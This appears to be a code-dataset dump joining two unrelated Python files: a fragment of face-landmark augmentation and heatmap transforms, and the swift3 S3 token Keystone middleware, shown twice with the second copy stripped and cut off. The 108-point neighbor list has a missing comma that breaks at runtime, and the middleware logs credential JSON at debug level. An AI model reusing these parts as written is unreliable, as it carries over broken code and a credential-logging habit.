def __init__(self, brightness=0.4, contrast=0.4, saturation=0.4):
self.color_jitter = torchvision.transforms.ColorJitter(brightness, contrast, saturation)
def __call__(self, sample):
image, landmarks = sample['image'], sample['landmarks'].copy()
to_pil = torchvision.transforms.ToPILImage()
img = to_pil(image)
img = self.color_jitter(img)
to_tensor = torchvision.transforms.ToTensor()
image = to_tensor(img).numpy().transpose(1,2,0)
return {'image': image, 'landmarks': landmarks}
class RandomRotation(object):
def __init__(self, maximum_angle=50., minimum_angle=5.):
self.maximum_angle = maximum_angle - minimum_angle
self.minimum_angle = minimum_angle
def __call__(self, sample):
image, landmarks = sample['image'], sample['landmarks']
rotation_angle = (random.random() - 0.5) * 2 * self.maximum_angle
if rotation_angle > 0:
rotation_angle += self.minimum_angle
else:
rotation_angle -= self.minimum_angle
manual_theta = utils.transformation_matrix(-rotation_angle)
manual_theta_inv = utils.transformation_matrix(rotation_angle)
image_rot = ndimage.rotate(image, rotation_angle, reshape=True)
origin_org = ((image.shape[1] / 2.0, image.shape[0] / 2.0))
origin_rot = ((image_rot.shape[1] / 2.0, image_rot.shape[0] / 2.0))
landmarks_rot = landmarks - origin_org
landmarks_rot = np.asarray(np.dot(landmarks_rot, manual_theta_inv)[:, :2])
landmarks_rot = landmarks_rot + origin_rot
sample['image_rot'] = image_rot
sample['landmarks_rot'] = landmarks_rot
sample['theta'] = manual_theta
sample['angle'] = rotation_angle
return sample
class LandmarkCrop(object):
def __init__(self, resolution):
self.resolution = resolution
def __call__(self, sample):
image, landmarks = sample['image'], sample['landmarks']
bbox = utils.bounding_box(landmarks)
center, scale = utils.center_scale_from_bbox(bbox)
image = utils.crop(image, center, scale, self.resolution)
sample['image'] = image
sample['landmarks'] = landmarks
if 'image_rot' in sample:
image, landmarks = sample['image_rot'], sample['landmarks_rot']
bbox = utils.bounding_box(landmarks)
center, scale = utils.center_scale_from_bbox(bbox)
image = utils.crop(image, center, scale, self.resolution)
sample['image_rot'] = image
sample['landmarks_rot'] = landmarks
return sample
class CreateHeatmaps(object):
def __init__(self, output_size=64, n_features=68):
self.output_size = output_size
self.n_features = n_features
def __call__(self, sample):
landmarks = sample['landmarks']
center, scale = utils.center_scale_from_bbox(utils.bounding_box(landmarks))
heatmap = np.zeros((self.n_features, self.output_size, self.output_size))
for i in range(self.n_features):
new_pts = utils.transform(landmarks[i], center, scale, self.output_size)
heatmap[i] = utils.draw_gaussian(heatmap[i], new_pts, 1)
sample['heatmaps'] = torch.from_numpy(heatmap).view(self.n_features, self.output_size, self.output_size).float()
if 'image_rot' in sample:
landmarks = sample['landmarks_rot']
center, scale = utils.center_scale_from_bbox(utils.bounding_box(landmarks))
heatmap = np.zeros((self.n_features, self.output_size, self.output_size))
for i in range(self.n_features):
new_pts = utils.transform(landmarks[i], center, scale, self.output_size)
heatmap[i] = utils.draw_gaussian(heatmap[i], new_pts, 1)
sample['heatmaps_rot'] = torch.from_numpy(heatmap).view(self.n_features, self.output_size, self.output_size).float()
return sample
class CreateHeatmaps2(object):
def __init__(self, output_size=64, n_features=68):
self.output_size = output_size
self.n_features = n_features
if self.n_features==68:
self.neigbor_list = [[2],[1,3],[2,4],[3,5],[4,6],[5,7],[6,8],[7,9],[8,10],
[9,11],[10,12],[11,13],[12,14],[13,15],[14,16],[15,17],
[16], [19], [18,20], [19,21], [20,22], [21],[24],[23,25],
[24,26],[25,27],[26],[29],[28,30],[29,31],[30,34],[33],
[32,34],[33,35],[34,36],[35],[],[37,39],[38,40],[],[40,42],
[37,41],[],[43,45],[44,46],[],[46,48],[43,47],[],[49,51],
[50,52],[51,53],[52,54],[53,55],[],[55,57],[56,58],[57,59],
[58,60],[59,49],[49],[61,63],[62,64],[63,65],[55],[65,67],
[66,68],[61,67]]
elif self.n_features==108:
self.neigbor_list = [[2],[1,3],[2,4],[3,5],[4,6],[5,7],[6,8],[7,9],[8,10],
[9,11],[10,12],[11,13],[12,14],[13,15],[14,16],[15,17],
[16,18],[17,19],[18,20],[19,21],[20,22],[21,23],[22,24],
[23,25],[24,26],[25,27],[26,28],[27,29],[28,30],[29,31],
[30,32],[31,33],[32],[],[34,36],[35,37],[36,38],[], [39,41],
[40,42],[41,43], [],[45],[44,46], [45,47], [46], [49],[48,50],
[],[50,52],[51],[],[53,55],[54,56],[],[56,58], [],[],[59,61],
[60,62],[],[62,64],[],[],[65,67],[66,68],[],[],[69,71],[70,72],[]
[54,55],[58,57],[],[60,61],[63,64],[],[81],[82],[79,83],[80,84],
[81,85],[82,86],[83,87],[84,88],[48],[52],[],[89,91],[90,92],
[91,93],[92,94],[93,95],[],[95,97],[96,98],[97,99],[98,100],[89,99],
[],[101,103],[102,104],[103,105],[],[105,107],[106,108],[101,107]]
def __call__(self, sample):
landmarks = sample['landmarks']
center, scale = center_scale_from_landmark(landmarks)
heatmap = np.zeros((self.n_features, self.output_size, self.output_size))
foo = np.zeros((self.output_size, self.output_size))
for i in range(self.n_features):
neighbors = self.get_neighbors(i)
num_neighbors = len(neighbors)
if num_neighbors == 0:
heatmap[i] = utils.draw_gaussian(heatmap[i], utils.transform(landmarks[i], center, scale, self.output_size), 1)
foo = utils.draw_gaussian(foo, utils.transform(landmarks[i], center, scale, self.output_size), 1)
else:
if num_neighbors == 2:
points = np.zeros((3,2))
points[0] = utils.transform(landmarks[neighbors[0]-1], center, scale, self.output_size).numpy()
points[1] = utils.transform(landmarks[i], center, scale, self.output_size).numpy()
points[2] = utils.transform(landmarks[neighbors[1]-1], center, scale, self.output_size).numpy()
else:
points = np.zeros((2,2))
points[0] = utils.transform(landmarks[neighbors[0]-1], center, scale, self.output_size).numpy()
points[1] = utils.transform(landmarks[i], center, scale, self.output_size).numpy()
heatmap[i] = utils.draw_gaussian2(heatmap[i], points, 1)
foo = utils.draw_gaussian2(foo, points, 1)
heatmaps = torch.from_numpy(heatmap).view(1, self.n_features, self.output_size, self.output_size).float()
return {'image': sample['image'], 'landmarks': heatmaps}
def get_neighbors(self, landmark):
return self.neigbor_list[landmark]
class RandomCrop(object):
def __init__(self, output_size):
assert isinstance(output_size, (int, tuple))
if isinstance(output_size, int):
self.output_size = (output_size, output_size)
else:
assert len(output_size) == 2
self.output_size = output_size
def __call__(self, sample):
image, landmarks = sample['image'], sample['landmarks']
h, w = image.shape[:2]
new_h, new_w = self.output_size
top = np.random.randint(0, h - new_h)
left = np.random.randint(0, w - new_w)
image = image[top: top + new_h,
left: left + new_w]
landmarks = landmarks - [left, top]
return {'image': image, 'landmarks': landmarks}
class ToTensor(object):
def __call__(self, sample):
for key in sample:
if key in ['image', 'image_rot']:
sample[key] = torchvision.transforms.ToTensor()(sample[key])
elif key in ['filename', 'angle', 'heatmaps', 'heatmaps_rot']:
continue
else:
sample[key] = torch.from_numpy(sample[key]).float()
return sample
class FaceLandmarksDataset(Dataset):
def __init__(self, path, type=1, transforms=None):
self.type = type
self.transforms = transforms
image_exts = ('*.jpg', '*.png')
self.images_list = []
for ext in image_exts:
self.images_list.extend(sorted(glob.glob(os.path.join(path, ext))))
assert self.images_list, "path does not contain images"
def __len__(self):
return len(self.images_list)
def __getitem__(self, idx):
image = io.imread(self.images_list[idx])
image = color.grey2rgb(image)
filename = self.images_list[idx]
basename = os.path.splitext(filename)[0]
if self.type == 1:
landmarks = np.loadtxt(basename + '.pts', skiprows=3, comments='}')
elif self.type == 2:
landmarks = np.loadtxt(basename + '.land', skiprows=1)
elif self.type == 3:
landmarks = np.ones((68,2))
elif self.type == 4:
landmarks = np.loadtxt(basename + '.pts')
sample = {'image': image, 'landmarks': landmarks, 'filename': filename}
if self.transforms:
sample = self.transforms(sample)
return sample
| true | true |
f726125525cfe331ad2b253c9640d4eea089106b | 19,878 | py | Python | swift3/s3_token_middleware.py | AymericDu/swift3 | a64be4ed9c6657fc5471e87e08e6c7465b7bd444 | [
"Apache-2.0"
] | 10 | 2017-04-21T13:56:48.000Z | 2022-03-29T17:15:40.000Z | swift3/s3_token_middleware.py | AymericDu/swift3 | a64be4ed9c6657fc5471e87e08e6c7465b7bd444 | [
"Apache-2.0"
] | 12 | 2017-05-04T16:23:35.000Z | 2021-09-08T16:42:58.000Z | swift3/s3_token_middleware.py | AymericDu/swift3 | a64be4ed9c6657fc5471e87e08e6c7465b7bd444 | [
"Apache-2.0"
] | 10 | 2017-05-10T14:00:42.000Z | 2019-10-28T13:24:57.000Z | # Copyright 2012 OpenStack Foundation
# Copyright 2010 United States Government as represented by the
# Administrator of the National Aeronautics and Space Administration.
# Copyright 2011,2012 Akira YOSHIYAMA <akirayoshiyama@gmail.com>
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
# This source code is based ./auth_token.py and ./ec2_token.py.
# See them for their copyright.
"""
S3 Token Middleware
This WSGI component:
* Gets a request from the swift3 middleware with an S3 Authorization
access key.
* Validates s3 token in Keystone.
* Transforms the account name to AUTH_%(tenant_name).
* Optionally can retrieve and cache secret from keystone
to validate signature locally
"""
import base64
import json
from keystoneclient.v3 import client as keystone_client
from keystoneauth1 import session as keystone_session
from keystoneauth1 import loading as keystone_loading
import requests
import httplib
import six
from six.moves import urllib
from swift.common.swob import Request, HTTPBadRequest, HTTPUnauthorized, \
HTTPException, HTTPServiceUnavailable
from swift.common.utils import config_true_value, split_path, get_logger, \
cache_from_env
from swift.common.wsgi import ConfigFileError
from swift3.utils import is_valid_ipv6
PROTOCOL_NAME = 'S3 Token Authentication'
# Headers to purge if they came from (or may have come from) the client
KEYSTONE_AUTH_HEADERS = (
'X-Identity-Status', 'X-Service-Identity-Status',
'X-Domain-Id', 'X-Service-Domain-Id',
'X-Domain-Name', 'X-Service-Domain-Name',
'X-Project-Id', 'X-Service-Project-Id',
'X-Project-Name', 'X-Service-Project-Name',
'X-Project-Domain-Id', 'X-Service-Project-Domain-Id',
'X-Project-Domain-Name', 'X-Service-Project-Domain-Name',
'X-User-Id', 'X-Service-User-Id',
'X-User-Name', 'X-Service-User-Name',
'X-User-Domain-Id', 'X-Service-User-Domain-Id',
'X-User-Domain-Name', 'X-Service-User-Domain-Name',
'X-Roles', 'X-Service-Roles',
'X-Is-Admin-Project',
'X-Service-Catalog',
# Deprecated headers, too...
'X-Tenant-Id',
'X-Tenant-Name',
'X-Tenant',
'X-User',
'X-Role',
)
def parse_v2_response(token):
access_info = token['access']
headers = {
'X-Identity-Status': 'Confirmed',
'X-Roles': ','.join(r['name']
for r in access_info['user']['roles']),
'X-User-Id': access_info['user']['id'],
'X-User-Name': access_info['user']['name'],
'X-Tenant-Id': access_info['token']['tenant']['id'],
'X-Tenant-Name': access_info['token']['tenant']['name'],
'X-Project-Id': access_info['token']['tenant']['id'],
'X-Project-Name': access_info['token']['tenant']['name'],
}
return (
headers,
access_info['token'].get('id'),
access_info['token']['tenant'])
def parse_v3_response(token):
token = token['token']
headers = {
'X-Identity-Status': 'Confirmed',
'X-Roles': ','.join(r['name']
for r in token['roles']),
'X-User-Id': token['user']['id'],
'X-User-Name': token['user']['name'],
'X-User-Domain-Id': token['user']['domain']['id'],
'X-User-Domain-Name': token['user']['domain']['name'],
'X-Tenant-Id': token['project']['id'],
'X-Tenant-Name': token['project']['name'],
'X-Project-Id': token['project']['id'],
'X-Project-Name': token['project']['name'],
'X-Project-Domain-Id': token['project']['domain']['id'],
'X-Project-Domain-Name': token['project']['domain']['name'],
}
return headers, None, token['project']
class S3Token(object):
"""Middleware that handles S3 authentication."""
def __init__(self, app, conf):
"""Common initialization code."""
self._app = app
self._logger = get_logger(
conf, log_route=conf.get('log_name', 's3token'))
self._logger.debug('Starting the %s component', PROTOCOL_NAME)
self._timeout = float(conf.get('http_timeout', '10.0'))
if not (0 < self._timeout <= 60):
raise ValueError('http_timeout must be between 0 and 60 seconds')
self._reseller_prefix = conf.get('reseller_prefix', 'AUTH_')
self._delay_auth_decision = config_true_value(
conf.get('delay_auth_decision'))
# where to find the auth service (we use this to validate tokens)
self._request_uri = conf.get('auth_uri')
if not self._request_uri:
self._logger.warning(
"Use of the auth_host, auth_port, and auth_protocol "
"configuration options was deprecated in the Newton release "
"in favor of auth_uri. These options may be removed in a "
"future release.")
auth_host = conf.get('auth_host')
if not auth_host:
raise ConfigFileError('Either auth_uri or auth_host required')
elif is_valid_ipv6(auth_host):
# Note(timburke) it is an IPv6 address, so it needs to be
# wrapped with '[]' to generate a valid IPv6 URL, based on
# http://www.ietf.org/rfc/rfc2732.txt
auth_host = '[%s]' % auth_host
auth_port = int(conf.get('auth_port', 35357))
auth_protocol = conf.get('auth_protocol', 'https')
self._request_uri = '%s://%s:%s' % (auth_protocol, auth_host,
auth_port)
self._request_uri = self._request_uri.rstrip('/')
parsed = urllib.parse.urlsplit(self._request_uri)
if not parsed.scheme or not parsed.hostname:
raise ConfigFileError(
'Invalid auth_uri; must include scheme and host')
if parsed.scheme not in ('http', 'https'):
raise ConfigFileError(
'Invalid auth_uri; scheme must be http or https')
if parsed.query or parsed.fragment or '@' in parsed.netloc:
raise ConfigFileError('Invalid auth_uri; must not include '
'username, query, or fragment')
self._request_uri += '/v%s/s3tokens' % conf.get('auth_version', '2.0')
self._max_attempts = 1 + int(conf.get('max_retries', 1))
# SSL
insecure = config_true_value(conf.get('insecure'))
cert_file = conf.get('certfile')
key_file = conf.get('keyfile')
if insecure:
self._verify = False
elif cert_file and key_file:
self._verify = (cert_file, key_file)
elif cert_file:
self._verify = cert_file
else:
self._verify = None
self.session = requests.Session()
self._secret_cache_duration = int(conf.get('secret_cache_duration', 0))
if self._secret_cache_duration > 0:
try:
auth_plugin = keystone_loading.get_plugin_loader(
conf.get('auth_type'))
available_auth_options = auth_plugin.get_options()
auth_options = {}
for option in available_auth_options:
name = option.name.replace('-', '_')
value = conf.get(name)
if value:
auth_options[name] = value
auth = auth_plugin.load_from_options(**auth_options)
session = keystone_session.Session(auth=auth)
self.keystoneclient = keystone_client.Client(session=session)
self._logger.info("Caching s3tokens for %s seconds",
self._secret_cache_duration)
except Exception:
self._logger.warning("Unable to load keystone auth_plugin. "
"Secret caching will be unavailable.",
exc_info=True)
self.keystoneclient = None
self._secret_cache_duration = 0
def _deny_request(self, code):
error_cls, message = {
'AccessDenied': (HTTPUnauthorized, 'Access denied'),
'InvalidURI': (HTTPBadRequest,
'Could not parse the specified URI'),
'ServiceUnavailable': (HTTPServiceUnavailable,
'Service unavailable'),
}[code]
resp = error_cls(content_type='text/xml')
error_msg = ('<?xml version="1.0" encoding="UTF-8"?>\r\n'
'<Error>\r\n <Code>%s</Code>\r\n '
'<Message>%s</Message>\r\n</Error>\r\n' %
(code, message))
if six.PY3:
error_msg = error_msg.encode()
resp.body = error_msg
return resp
def _json_request(self, creds_json, tx_id):
headers = {
'Content-Type': 'application/json',
'X-Trans-Id': tx_id
}
for attempt in range(self._max_attempts):
try:
response = self.session.post(
self._request_uri, headers=headers,
data=creds_json, verify=self._verify,
timeout=self._timeout)
except requests.exceptions.Timeout as e:
self._logger.info('HTTP timeout: %s', e)
raise self._deny_request('ServiceUnavailable')
except httplib.BadStatusLine as e:
# See https://github.com/requests/requests/issues/2364
self._logger.warning('HTTP request raised %s', e)
if attempt + 1 >= self._max_attempts:
raise self._deny_request('ServiceUnavailable')
self._logger.warning('retrying (%d/%d)',
attempt + 1, self._max_attempts - 1)
continue
except requests.exceptions.RequestException as e:
self._logger.warning('HTTP connection exception: %s', e)
# Sometimes, we don't get httplib.BadStatusLine,
# but a RequestException with a nested ProtocolError
# with BadStatusLine as message.
if 'BadStatusLine' in str(e) and \
attempt + 1 < self._max_attempts:
self._logger.warning('retrying (%d/%d)',
attempt + 1, self._max_attempts - 1)
continue
raise self._deny_request('InvalidURI')
if response.status_code >= 500:
self._logger.warning(
'Keystone reply error: status=%s reason=%s',
response.status_code, response.reason)
if attempt + 1 >= self._max_attempts:
raise self._deny_request('ServiceUnavailable')
self._logger.warning('retrying (%d/%d)',
attempt + 1, self._max_attempts - 1)
continue
elif response.status_code < 200 or response.status_code >= 300:
self._logger.debug('Keystone reply error: status=%s reason=%s',
response.status_code, response.reason)
raise self._deny_request('AccessDenied')
break
return response
def __call__(self, environ, start_response):
"""Handle incoming request. authenticate and send downstream."""
req = Request(environ)
self._logger.debug('Calling S3Token middleware.')
# Always drop auth headers if we're first in the pipeline
if 'keystone.token_info' not in req.environ:
req.headers.update({h: None for h in KEYSTONE_AUTH_HEADERS})
try:
parts = split_path(req.path, 1, 4, True)
version, account, container, obj = parts
except ValueError:
msg = 'Not a path query: %s, skipping.' % req.path
self._logger.debug(msg)
return self._app(environ, start_response)
# Read request signature and access id.
s3_auth_details = req.environ.get('swift3.auth_details')
if not s3_auth_details:
msg = 'No authorization deatils from Swift3. skipping.'
self._logger.debug(msg)
return self._app(environ, start_response)
access = s3_auth_details['access_key']
if isinstance(access, six.binary_type):
access = access.decode('utf-8')
signature = s3_auth_details['signature']
if isinstance(signature, six.binary_type):
signature = signature.decode('utf-8')
string_to_sign = s3_auth_details['string_to_sign']
if isinstance(string_to_sign, six.text_type):
string_to_sign = string_to_sign.encode('utf-8')
token = base64.urlsafe_b64encode(string_to_sign).encode('ascii')
# NOTE(chmou): This is to handle the special case with nova
# when we have the option s3_affix_tenant. We will force it to
# connect to another account than the one
# authenticated. Before people start getting worried about
# security, I should point that we are connecting with
# username/token specified by the user but instead of
# connecting to its own account we will force it to go to an
# another account. In a normal scenario if that user don't
# have the reseller right it will just fail but since the
# reseller account can connect to every account it is allowed
# by the swift_auth middleware.
force_tenant = None
if ':' in access:
access, force_tenant = access.split(':')
# Authenticate request.
creds = {'credentials': {'access': access,
'token': token,
'signature': signature}}
memcache_client = None
memcache_token_key = 's3secret/%s' % access
if self._secret_cache_duration > 0:
memcache_client = cache_from_env(environ)
cached_auth_data = None
if memcache_client:
cached_auth_data = memcache_client.get(memcache_token_key)
if cached_auth_data:
headers, token_id, tenant, secret = cached_auth_data
if six.PY2 and isinstance(secret, six.text_type):
secret = secret.encode('utf-8')
if s3_auth_details['check_signature'](secret):
self._logger.debug("Cached creds valid")
else:
self._logger.debug("Cached creds invalid")
cached_auth_data = None
if not cached_auth_data:
creds_json = json.dumps(creds)
self._logger.debug('Connecting to Keystone sending this JSON: %s',
creds_json)
# NOTE(vish): We could save a call to keystone by having
# keystone return token, tenant, user, and roles
# from this call.
#
# NOTE(chmou): We still have the same problem we would need to
# change token_auth to detect if we already
# identified and not doing a second query and just
# pass it through to swiftauth in this case.
try:
# NB: requests.Response, not swob.Response
tx_id = environ.get('swift.trans_id', 'UNKNOWN')
resp = self._json_request(creds_json, tx_id)
except HTTPException as e_resp:
if self._delay_auth_decision:
msg = ('Received error, deferring rejection based on '
'error: %s')
self._logger.debug(msg, e_resp.status)
return self._app(environ, start_response)
else:
msg = 'Received error, rejecting request with error: %s'
self._logger.debug(msg, e_resp.status)
# NB: swob.Response, not requests.Response
return e_resp(environ, start_response)
self._logger.debug('Keystone Reply: Status: %d, Output: %s',
resp.status_code, resp.content)
try:
token = resp.json()
if 'access' in token:
headers, token_id, tenant = parse_v2_response(token)
elif 'token' in token:
headers, token_id, tenant = parse_v3_response(token)
else:
raise ValueError
if memcache_client:
user_id = headers.get('X-User-Id')
if not user_id:
raise ValueError
try:
cred_ref = self.keystoneclient.ec2.get(
user_id=user_id,
access=access)
memcache_client.set(
memcache_token_key,
(headers, token_id, tenant, cred_ref.secret),
time=self._secret_cache_duration)
self._logger.debug("Cached keystone credentials")
except Exception:
self._logger.warning("Unable to cache secret",
exc_info=True)
# Populate the environment similar to auth_token,
# so we don't have to contact Keystone again.
#
# Note that although the strings are unicode following json
# deserialization, Swift's HeaderEnvironProxy handles ensuring
# they're stored as native strings
req.environ['keystone.token_info'] = token
except (ValueError, KeyError, TypeError):
if self._delay_auth_decision:
error = ('Error on keystone reply: %d %s - '
'deferring rejection downstream')
self._logger.debug(error, resp.status_code, resp.content)
return self._app(environ, start_response)
else:
error = ('Error on keystone reply: %d %s - '
'rejecting request')
self._logger.debug(error, resp.status_code, resp.content)
return self._deny_request('InvalidURI')(
environ, start_response)
req.headers.update(headers)
req.headers['X-Auth-Token'] = token_id
tenant_to_connect = force_tenant or tenant['id']
if six.PY2 and isinstance(tenant_to_connect, six.text_type):
tenant_to_connect = tenant_to_connect.encode('utf-8')
self._logger.debug('Connecting with tenant: %s', tenant_to_connect)
new_tenant_name = '%s%s' % (self._reseller_prefix, tenant_to_connect)
environ['PATH_INFO'] = environ['PATH_INFO'].replace(account,
new_tenant_name)
return self._app(environ, start_response)
def filter_factory(global_conf, **local_conf):
"""Returns a WSGI filter app for use with paste.deploy."""
conf = global_conf.copy()
conf.update(local_conf)
def auth_filter(app):
return S3Token(app, conf)
return auth_filter
| 43.784141 | 79 | 0.574203 |
import base64
import json
from keystoneclient.v3 import client as keystone_client
from keystoneauth1 import session as keystone_session
from keystoneauth1 import loading as keystone_loading
import requests
import httplib
import six
from six.moves import urllib
from swift.common.swob import Request, HTTPBadRequest, HTTPUnauthorized, \
HTTPException, HTTPServiceUnavailable
from swift.common.utils import config_true_value, split_path, get_logger, \
cache_from_env
from swift.common.wsgi import ConfigFileError
from swift3.utils import is_valid_ipv6
PROTOCOL_NAME = 'S3 Token Authentication'
KEYSTONE_AUTH_HEADERS = (
'X-Identity-Status', 'X-Service-Identity-Status',
'X-Domain-Id', 'X-Service-Domain-Id',
'X-Domain-Name', 'X-Service-Domain-Name',
'X-Project-Id', 'X-Service-Project-Id',
'X-Project-Name', 'X-Service-Project-Name',
'X-Project-Domain-Id', 'X-Service-Project-Domain-Id',
'X-Project-Domain-Name', 'X-Service-Project-Domain-Name',
'X-User-Id', 'X-Service-User-Id',
'X-User-Name', 'X-Service-User-Name',
'X-User-Domain-Id', 'X-Service-User-Domain-Id',
'X-User-Domain-Name', 'X-Service-User-Domain-Name',
'X-Roles', 'X-Service-Roles',
'X-Is-Admin-Project',
'X-Service-Catalog',
'X-Tenant-Id',
'X-Tenant-Name',
'X-Tenant',
'X-User',
'X-Role',
)
def parse_v2_response(token):
access_info = token['access']
headers = {
'X-Identity-Status': 'Confirmed',
'X-Roles': ','.join(r['name']
for r in access_info['user']['roles']),
'X-User-Id': access_info['user']['id'],
'X-User-Name': access_info['user']['name'],
'X-Tenant-Id': access_info['token']['tenant']['id'],
'X-Tenant-Name': access_info['token']['tenant']['name'],
'X-Project-Id': access_info['token']['tenant']['id'],
'X-Project-Name': access_info['token']['tenant']['name'],
}
return (
headers,
access_info['token'].get('id'),
access_info['token']['tenant'])
def parse_v3_response(token):
token = token['token']
headers = {
'X-Identity-Status': 'Confirmed',
'X-Roles': ','.join(r['name']
for r in token['roles']),
'X-User-Id': token['user']['id'],
'X-User-Name': token['user']['name'],
'X-User-Domain-Id': token['user']['domain']['id'],
'X-User-Domain-Name': token['user']['domain']['name'],
'X-Tenant-Id': token['project']['id'],
'X-Tenant-Name': token['project']['name'],
'X-Project-Id': token['project']['id'],
'X-Project-Name': token['project']['name'],
'X-Project-Domain-Id': token['project']['domain']['id'],
'X-Project-Domain-Name': token['project']['domain']['name'],
}
return headers, None, token['project']
class S3Token(object):
def __init__(self, app, conf):
self._app = app
self._logger = get_logger(
conf, log_route=conf.get('log_name', 's3token'))
self._logger.debug('Starting the %s component', PROTOCOL_NAME)
self._timeout = float(conf.get('http_timeout', '10.0'))
if not (0 < self._timeout <= 60):
raise ValueError('http_timeout must be between 0 and 60 seconds')
self._reseller_prefix = conf.get('reseller_prefix', 'AUTH_')
self._delay_auth_decision = config_true_value(
conf.get('delay_auth_decision'))
self._request_uri = conf.get('auth_uri')
if not self._request_uri:
self._logger.warning(
"Use of the auth_host, auth_port, and auth_protocol "
"configuration options was deprecated in the Newton release "
"in favor of auth_uri. These options may be removed in a "
"future release.")
auth_host = conf.get('auth_host')
if not auth_host:
raise ConfigFileError('Either auth_uri or auth_host required')
elif is_valid_ipv6(auth_host):
auth_host = '[%s]' % auth_host
auth_port = int(conf.get('auth_port', 35357))
auth_protocol = conf.get('auth_protocol', 'https')
self._request_uri = '%s://%s:%s' % (auth_protocol, auth_host,
auth_port)
self._request_uri = self._request_uri.rstrip('/')
parsed = urllib.parse.urlsplit(self._request_uri)
if not parsed.scheme or not parsed.hostname:
raise ConfigFileError(
'Invalid auth_uri; must include scheme and host')
if parsed.scheme not in ('http', 'https'):
raise ConfigFileError(
'Invalid auth_uri; scheme must be http or https')
if parsed.query or parsed.fragment or '@' in parsed.netloc:
raise ConfigFileError('Invalid auth_uri; must not include '
'username, query, or fragment')
self._request_uri += '/v%s/s3tokens' % conf.get('auth_version', '2.0')
self._max_attempts = 1 + int(conf.get('max_retries', 1))
insecure = config_true_value(conf.get('insecure'))
cert_file = conf.get('certfile')
key_file = conf.get('keyfile')
if insecure:
self._verify = False
elif cert_file and key_file:
self._verify = (cert_file, key_file)
elif cert_file:
self._verify = cert_file
else:
self._verify = None
self.session = requests.Session()
self._secret_cache_duration = int(conf.get('secret_cache_duration', 0))
if self._secret_cache_duration > 0:
try:
auth_plugin = keystone_loading.get_plugin_loader(
conf.get('auth_type'))
available_auth_options = auth_plugin.get_options()
auth_options = {}
for option in available_auth_options:
name = option.name.replace('-', '_')
value = conf.get(name)
if value:
auth_options[name] = value
auth = auth_plugin.load_from_options(**auth_options)
session = keystone_session.Session(auth=auth)
self.keystoneclient = keystone_client.Client(session=session)
self._logger.info("Caching s3tokens for %s seconds",
self._secret_cache_duration)
except Exception:
self._logger.warning("Unable to load keystone auth_plugin. "
"Secret caching will be unavailable.",
exc_info=True)
self.keystoneclient = None
self._secret_cache_duration = 0
def _deny_request(self, code):
error_cls, message = {
'AccessDenied': (HTTPUnauthorized, 'Access denied'),
'InvalidURI': (HTTPBadRequest,
'Could not parse the specified URI'),
'ServiceUnavailable': (HTTPServiceUnavailable,
'Service unavailable'),
}[code]
resp = error_cls(content_type='text/xml')
error_msg = ('<?xml version="1.0" encoding="UTF-8"?>\r\n'
'<Error>\r\n <Code>%s</Code>\r\n '
'<Message>%s</Message>\r\n</Error>\r\n' %
(code, message))
if six.PY3:
error_msg = error_msg.encode()
resp.body = error_msg
return resp
def _json_request(self, creds_json, tx_id):
headers = {
'Content-Type': 'application/json',
'X-Trans-Id': tx_id
}
for attempt in range(self._max_attempts):
try:
response = self.session.post(
self._request_uri, headers=headers,
data=creds_json, verify=self._verify,
timeout=self._timeout)
except requests.exceptions.Timeout as e:
self._logger.info('HTTP timeout: %s', e)
raise self._deny_request('ServiceUnavailable')
except httplib.BadStatusLine as e:
self._logger.warning('HTTP request raised %s', e)
if attempt + 1 >= self._max_attempts:
raise self._deny_request('ServiceUnavailable')
self._logger.warning('retrying (%d/%d)',
attempt + 1, self._max_attempts - 1)
continue
except requests.exceptions.RequestException as e:
self._logger.warning('HTTP connection exception: %s', e)
# but a RequestException with a nested ProtocolError
# with BadStatusLine as message.
if 'BadStatusLine' in str(e) and \
attempt + 1 < self._max_attempts:
self._logger.warning('retrying (%d/%d)',
attempt + 1, self._max_attempts - 1)
continue
raise self._deny_request('InvalidURI')
if response.status_code >= 500:
self._logger.warning(
'Keystone reply error: status=%s reason=%s',
response.status_code, response.reason)
if attempt + 1 >= self._max_attempts:
raise self._deny_request('ServiceUnavailable')
self._logger.warning('retrying (%d/%d)',
attempt + 1, self._max_attempts - 1)
continue
elif response.status_code < 200 or response.status_code >= 300:
self._logger.debug('Keystone reply error: status=%s reason=%s',
response.status_code, response.reason)
raise self._deny_request('AccessDenied')
break
return response
def __call__(self, environ, start_response):
req = Request(environ)
self._logger.debug('Calling S3Token middleware.')
# Always drop auth headers if we're first in the pipeline
if 'keystone.token_info' not in req.environ:
req.headers.update({h: None for h in KEYSTONE_AUTH_HEADERS})
try:
parts = split_path(req.path, 1, 4, True)
version, account, container, obj = parts
except ValueError:
msg = 'Not a path query: %s, skipping.' % req.path
self._logger.debug(msg)
return self._app(environ, start_response)
s3_auth_details = req.environ.get('swift3.auth_details')
if not s3_auth_details:
msg = 'No authorization deatils from Swift3. skipping.'
self._logger.debug(msg)
return self._app(environ, start_response)
access = s3_auth_details['access_key']
if isinstance(access, six.binary_type):
access = access.decode('utf-8')
signature = s3_auth_details['signature']
if isinstance(signature, six.binary_type):
signature = signature.decode('utf-8')
string_to_sign = s3_auth_details['string_to_sign']
if isinstance(string_to_sign, six.text_type):
string_to_sign = string_to_sign.encode('utf-8')
token = base64.urlsafe_b64encode(string_to_sign).encode('ascii')
# have the reseller right it will just fail but since the
# reseller account can connect to every account it is allowed
# by the swift_auth middleware.
force_tenant = None
if ':' in access:
access, force_tenant = access.split(':')
# Authenticate request.
creds = {'credentials': {'access': access,
'token': token,
'signature': signature}}
memcache_client = None
memcache_token_key = 's3secret/%s' % access
if self._secret_cache_duration > 0:
memcache_client = cache_from_env(environ)
cached_auth_data = None
if memcache_client:
cached_auth_data = memcache_client.get(memcache_token_key)
if cached_auth_data:
headers, token_id, tenant, secret = cached_auth_data
if six.PY2 and isinstance(secret, six.text_type):
secret = secret.encode('utf-8')
if s3_auth_details['check_signature'](secret):
self._logger.debug("Cached creds valid")
else:
self._logger.debug("Cached creds invalid")
cached_auth_data = None
if not cached_auth_data:
creds_json = json.dumps(creds)
self._logger.debug('Connecting to Keystone sending this JSON: %s',
creds_json)
# NOTE(vish): We could save a call to keystone by having
# keystone return token, tenant, user, and roles
# from this call.
#
# NOTE(chmou): We still have the same problem we would need to
# change token_auth to detect if we already
